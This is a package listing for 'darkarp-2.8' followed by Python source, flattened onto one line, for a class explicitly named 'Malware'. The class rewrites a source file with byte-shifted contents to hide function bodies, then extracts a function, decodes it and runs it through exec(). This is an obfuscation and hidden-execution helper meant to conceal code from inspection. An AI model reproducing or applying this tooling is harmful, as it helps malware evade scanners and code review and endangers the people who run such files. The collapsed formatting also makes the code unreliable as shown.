Python库 | darkarp-2.8.tar.gz

import time class Malware: def __init__(self, loc): self.loc = loc def encrypt_file(self): encrypted = [] fun_start = b"def " for line in open(self.loc, "rb"): if line.startswith(fun_start): nl = 10 encrypted.append((nl + 1).to_bytes(1, 'little')) encrypted.append((nl + 1).to_bytes(1, 'little')) for byte in line: encrypted.append((byte + 1).to_bytes(1, 'little')) else: for byte in line: encrypted.append((byte + 2).to_bytes(1, 'little')) with open(self.loc, "wb") as f: for line in encrypted: f.write(line) return True def runtime_encrypt(self): encrypted = [] for line in open(self.loc, "rb"): for byte in line: encrypted.append((byte + 1).to_bytes(1, 'little')) with open(self.loc, "wb") as f: for line in encrypted: f.write(line) return True def decrypt_file(self): decrypted = [] for line in open(self.loc, "rb"): for byte in line: decrypted.append((byte - 1).to_bytes(1, 'little')) with open(self.loc, "wb") as f: for line in decrypted: f.write(line) return True def decrypt_file_fully(self): self.decrypt_file() decrypted = [] start = False for line in open(self.loc, "rb"): if line.decode().strip().startswith("def "): decrypted.append(line) start = True continue elif start: if line == b'\n': decrypted.append(b"\n") else: for byte in line: decrypted.append((byte - 1).to_bytes(1, 'little')) with open(self.loc, "wb") as f: for line in decrypted: f.write(line) return True def getFunc(self, name): loc = self.loc code = [] found = False for line in open(loc, "rb"): if not found: stri = f"def {name}(" if line.startswith(stri.encode()): found = True code.append(line) continue else: if not line.decode().strip(): break else: code.append(line) code = b''.join(code) return Func(name, code) class Func: def __init__(self, name, code): self.name = name self.code = code def code_decrypt(self): decrypted = [] code = self.code nl = 10 decrypt = False for i in code: if i == nl: decrypt = True if decrypt: decrypted.append(((i - 1).to_bytes(1, 'little'))) else: decrypted.append(i.to_bytes(1, 'little')) for byte in range(len(decrypted)): try: if decrypted[byte] == b"\r" and decrypted[byte + 1] == b"\t": decrypted[byte + 1] = b"\n" except: continue code_decrypt = b''.join(decrypted) self.code = code_decrypt return code_decrypt def exec(self): exec(self.code)